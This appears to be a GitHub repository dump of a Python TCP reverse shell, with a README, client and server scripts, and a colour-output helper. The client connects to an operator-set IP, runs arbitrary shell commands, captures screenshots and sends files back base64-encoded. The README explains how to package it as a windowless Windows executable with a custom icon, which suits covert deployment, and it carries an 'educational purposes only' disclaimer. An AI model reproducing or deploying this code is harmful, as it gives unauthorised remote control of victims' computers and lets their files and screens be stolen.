.
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PythonReverseShellDotpy
2 |
3 | 
4 |
5 | ___ _ _ ____ ____ _ _ ____ ____ ____ ____ ____ _ _ ____ _ _ ___ _ _
6 | |__] \_/ |__/ |___ | | |___ |__/ [__ |___ [__ |__| |___ | | |__] \_/
7 | | | | \ |___ \/ |___ | \ ___] |___ ___] | | |___ |___ |___ .| |
8 | Yes, another Python reverse shell.
9 |
10 | About: This is TCP REVERS SHELL Written in python.
11 | Tested On: Windows 10 / Windows7
12 | Suport : +Windows XP
13 | Date of Publish : 11/23/2019
14 | Last Update : 11/23/2019
15 | Features: Send/get files, get live screenshot form user
16 | basic system commands, and more.
17 | Went Find out about what is Revers Shell
18 |
19 | When Find out about what is Revers Shell ? -> Click Hare <-
20 |
21 |
22 |
23 | To Convet the .py to exe You can use pyinstaller.
24 | To install pyinstaller: https://www.pyinstaller.org
25 | To Convet .py File to exe : pyinstaller --onefile -w --icon YourIcon.ico Shell_C.py
26 | Before Converting File to exe Run : pip install --user --requirement requirements.txt
27 |
28 | # ToDo :
29 | Open Shell_S.py: and Replace these lines with your own IP address
30 |
31 | HOST = "YOUR IP"
32 | PORT = 4489
33 |
34 | NOTE : DO this for Shell_c.py two.
35 |
36 | Before Converting File to exe Run : pip install --user --requirement requirements.txt
37 |
38 | #
39 | NOTE: THIS SOURCE CODE IS For Educational Purposes Only.
40 | IM NOT RESBONBLE FOR ANY BAD & MALICIOUS USE OF IT.
41 |
--------------------------------------------------------------------------------
/SHELL_C.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | import platform # importing need libs
4 | from socket import *
5 | from PIL import ImageGrab
6 | from base64 import b64encode
7 | from subprocess import check_output
8 | from os import chdir, getcwd, getlogin, remove
9 |
10 | if __name__ == '__main__': # run cods blow only if app got calld by user
11 |
12 | Client = socket(AF_INET,SOCK_STREAM) # setting up a TCP connection
13 | HOST = "YOUR IP" # our system IP address
14 | PORT = 4556 # random port that is not in use
15 |
16 | Client.connect((HOST, PORT)) # try to connect to the sever
17 | print(f"Connected To {HOST}") # REMOVE THIS LINE THIS IS JUST FOR DEBUGING
18 |
19 | while True: # run while loop
20 | RawDate = str(Client.recv(1024), 'utf-8') # Get Raw date form server
21 | Date = RawDate.split(" ") # split raw date to list
22 | Result = "404 No Command Found [RUN help]" # set default respond
23 | MOD = False # if we went to send bytes with no endcode we gon set this line to true
24 |
25 | print(f"server : {RawDate}") # REMOVE THIS LINE
26 |
27 | if Date[0] == "command": # if user went to enter system command
28 | try:
29 | output = check_output(Date[1], shell="True") # run the system command
30 | Result = str(output, 'utf-8') # Update results to command out put
31 | except:
32 | output = "ERROR: Worng command?!" # Update results to command with error
33 | Result = str(output) # set output to result
34 |
35 | elif Date[0] == "chdir": # if user went to change dir
36 | if Date[1] == "back": # if user went to go back
37 | chdir('..') # use os.chdir("..") to go back
38 | Result = "[*] Done" # update result
39 | elif Date[1] == "path":
40 | Result = getcwd() # update result with user current path
41 | elif Date[1] == "chdir": # if user went to change the loac
42 | chdir(Date[2]) # use os.chdir("C:\\Some\whare")
43 | Result = "[*] Done" # update result
44 |
45 | elif Date[0] == "showScreen": # if user went to see screeshot
46 | Img = ImageGrab.grab() # grab screenshot
47 | Img.save("TMP.png") # save it
48 | with open("TMP.png", "rb") as file: output = file.read() # read the image and save date to var
49 | remove("TMP.png") # remove the image
50 | Result = b64encode(bytes(output)) # convert image date to b64 (fast way to bypass long watting time + less code)
51 | MOD = True # make sure we send the date as bytes no encoding
52 |
53 | elif Date[0] == "sysinfo": # if user went to see client system info
54 | Result = f"OS: {platform.platform()}\nProcessor: {platform.machine()}\nDomain: {getlogin()}" # use platform to show system info
55 |
56 | elif Date[0] == "file": # if user went file form client
57 | with open(str(Date[2]), "rb") as File:FileDate = File.read() # read the file and save file date in var
58 | Result = b64encode(FileDate) # convert var to b64
59 | MOD = True # Make sure we just send bytes
60 |
61 | elif Date[0] == "quit":quit() # if sever went to quit, quit
62 |
63 | if MOD == True: Client.send(bytes(Result)) # if mode is True send the date to sever as pure bytes
64 | elif MOD == False: Client.send(bytes(Result, 'utf-8')) # if mode is False send the date to sever with utf-8 encoding
65 |
66 | Client.close() # Close the tcp connection
67 |
--------------------------------------------------------------------------------
/SHELL_S.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | try:
4 | import base64, binascii # importing need libs
5 | import libs.clib as clib
6 | from socket import *
7 | from PIL import ImageGrab, Image
8 | except : # if system dose does not have any of this libs throw an error
9 | print("ERROR: Run pip install --user --requirement requirements.txt")
10 |
11 |
12 | Intro = r""" # our intro asci art
13 |
14 | . . . . . . . . . + .
15 | . . : . .. :. .___---------___.
16 | . . . . :.:. _".^ .^ ^. '.. :"-_. .
17 | . : . . .:../: . .^ :.:\.
18 | . . :: +. :.:/: . . . . . .:\
19 | . : . . _ :::/: . ^ . . .:\
20 | .. . . . - : :.:./. . .:\
21 | . . . :..|: . . ^. .:|
22 | . . : : ..|| . . . !:|
23 | . . . . ::. ::\( . :)/
24 | . . : . : .:.|. #### . ##### ::|
25 | :.. . :- : .: ::|.####### ..########:|
26 | . . . .. . .. :\ ######## :######## :/
27 | . .+ :: : -.:\ ######## . ########.:/
28 | . .+ . . . . :.:\. ###### ######..:/
29 | :: . . . . ::.:..:.\ . . ..:/
30 | . . . .. : -::::.\. | | . .:/
31 | . : . . .-:.":.::.\ ..:/
32 | . -. . . . .: .:::.:.\. .:/
33 | . . . : : ....::_:..:\ ___. :/
34 | . . . .:. .. . .: :.:.:\ :/
35 | + . . : . ::. :.:. .:.|\ .:/| -> TITLE : ReverseTcpShellDotPy
36 | . + . . ...:: ..| --.:| -> Coded : Cy4nGuy
37 | . . . . . . . ... :..:.."( ..)" -> SITE : cy4nxsbtnk3e5wy5.onion
38 | . . . : . .: ::/ . .::\ -> GITHUB : github.com/cy4nguy
39 |
40 | """
41 |
42 |
43 | Server = socket(AF_INET,SOCK_STREAM) # setting up a TCP connection
44 | HOST = "YOUR IP" # our system IP address
45 | PORT = 4556 # random port that is not in use
46 |
47 | Server.bind((HOST, PORT)) # binding IP and port
48 | Server.listen(1) # waiting for the user to connect
49 |
50 | print(clib.text(f"[*] {HOST}:{PORT} > listening").Color()) # if we got connection show target IP
51 |
52 | Client, Addr = Server.accept() # our client and client info module and accepting the connection
53 |
54 | print(clib.text(Intro).Art()) #showing our intro art
55 |
56 | while True: #start while True
57 |
58 | print(clib.text("[*] ServerSHELL > ").Color(), end="") # ask the user for command
59 | Shell_User = input() # Get the command
60 | L_Shell_User = Shell_User.split(" ") # convert command to list
61 |
62 | if Shell_User == "quit": # if user said quit
63 | Client.send(bytes(Shell_User, encoding="utf-8")) # send quit request to client
64 | quit() # end then quit
65 |
66 | elif L_Shell_User[0] == "file": # if user went to get file form client
67 |
68 | if L_Shell_User[1] == "get":
69 | Client.send(bytes(Shell_User, encoding="utf-8")) # send request to client
70 | FileDate = binascii.a2b_base64(Client.recv(1073741824)) # get file date in base60
71 | with open(f"Copy_{L_Shell_User[2]}", "wb") as File: # save the date in file
72 | File.write(FileDate) # write file
73 |
74 | elif L_Shell_User[0] == "showScreen": # if user went to get screnshot form client
75 | Client.send(bytes(Shell_User, encoding="utf-8")) # send request to client
76 | FileDate = binascii.a2b_base64(Client.recv(1073741824)) # open file
77 | with open(f"Screen.png", "wb") as File: File.write(FileDate) # save file date as png
78 | Image.open("Screen.png").show()
79 |
80 | elif L_Shell_User[0] == "help": # if user entred invalid command or asked for help
81 | print(r"""
82 | _ _
83 | | |_ ___| |_ __
84 | | ' \/ -_) | '_ \
85 | |_||_\___|_| .__/
86 | |_|
87 |
88 | 1 -> file get FILENAME.png | get files form user
89 | 2 -> command YourCommand | run command on user
90 | 3 -> showScreen | show screeshot from user
91 | 4 -> chdir path\somewhare | change the directory
92 | 5 -> path | show current directory(path)
93 | 6 -> back | Go one directory back
94 | """)
95 |
96 | else:
97 | Client.send(bytes(Shell_User, encoding="utf-8")) # if user didnt entred any command send raw command
98 | Client_R = str(Client.recv(1024), 'utf-8') # if user didnt entred any command show raw command
99 |
100 | print(Client_R) # print client respond
--------------------------------------------------------------------------------
/TCP SHELL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cy4nguy/PythonReverseShellDotpy/a4f7113958b21ea0da06827ba7d5fbdb1f6c847e/TCP SHELL.png
--------------------------------------------------------------------------------
/libs/clib.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | from colorama import Fore, Back, Style
4 | from colorama import init
5 |
6 |
7 |
8 | ##################################################
9 | # THIS is custome Lib made for beautifying Files #
10 | ##################################################
11 |
12 |
13 | init()
14 |
15 | class text(object):
16 | def __init__(self, string):
17 | self.string = string
18 | def Color(strs):
19 | Word = []
20 |
21 | for L in strs.string :
22 |
23 | if (L.isdigit() ) or ( L is "." ) or (L is ":"):
24 | Word.append(Fore.YELLOW+str(L)+Style.RESET_ALL)
25 | elif (L is "[") or (L is "]"):
26 | Word.append(Fore.RED+str(L)+Style.RESET_ALL)
27 | elif (L is "*") or (L is ">") :
28 | Word.append(Fore.GREEN+str(L)+Style.RESET_ALL)
29 | elif(L is "@") :
30 | Word.append(Fore.BLUE+str(L)+Style.RESET_ALL)
31 | else: Word.append(L)
32 |
33 |
34 | return "".join(str(L) for L in Word)
35 |
36 | def Art(strs):
37 | Word = []
38 |
39 | for L in strs.string:
40 |
41 | if(L is "."):
42 | Word.append(Style.DIM+Fore.YELLOW+str(L)+Style.RESET_ALL)
43 | elif(L is "|") or (L is "/") or (L is "\\") or (L is "-") or (L is "_"):
44 | Word.append(Style.BRIGHT+Fore.GREEN+str(L)+Style.RESET_ALL)
45 | elif(L is "^") or (L is ")") or (L is "!") or (L is '"') or (L is "("):
46 | Word.append(Style.BRIGHT+Fore.GREEN+str(L)+Style.RESET_ALL)
47 | elif(L is ":") or (L is "+"):
48 | Word.append(Fore.CYAN+str(L)+Style.RESET_ALL)
49 | else: Word.append(L)
50 |
51 | return "".join(str(L) for L in Word)
52 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | colorama==0.4.1
--------------------------------------------------------------------------------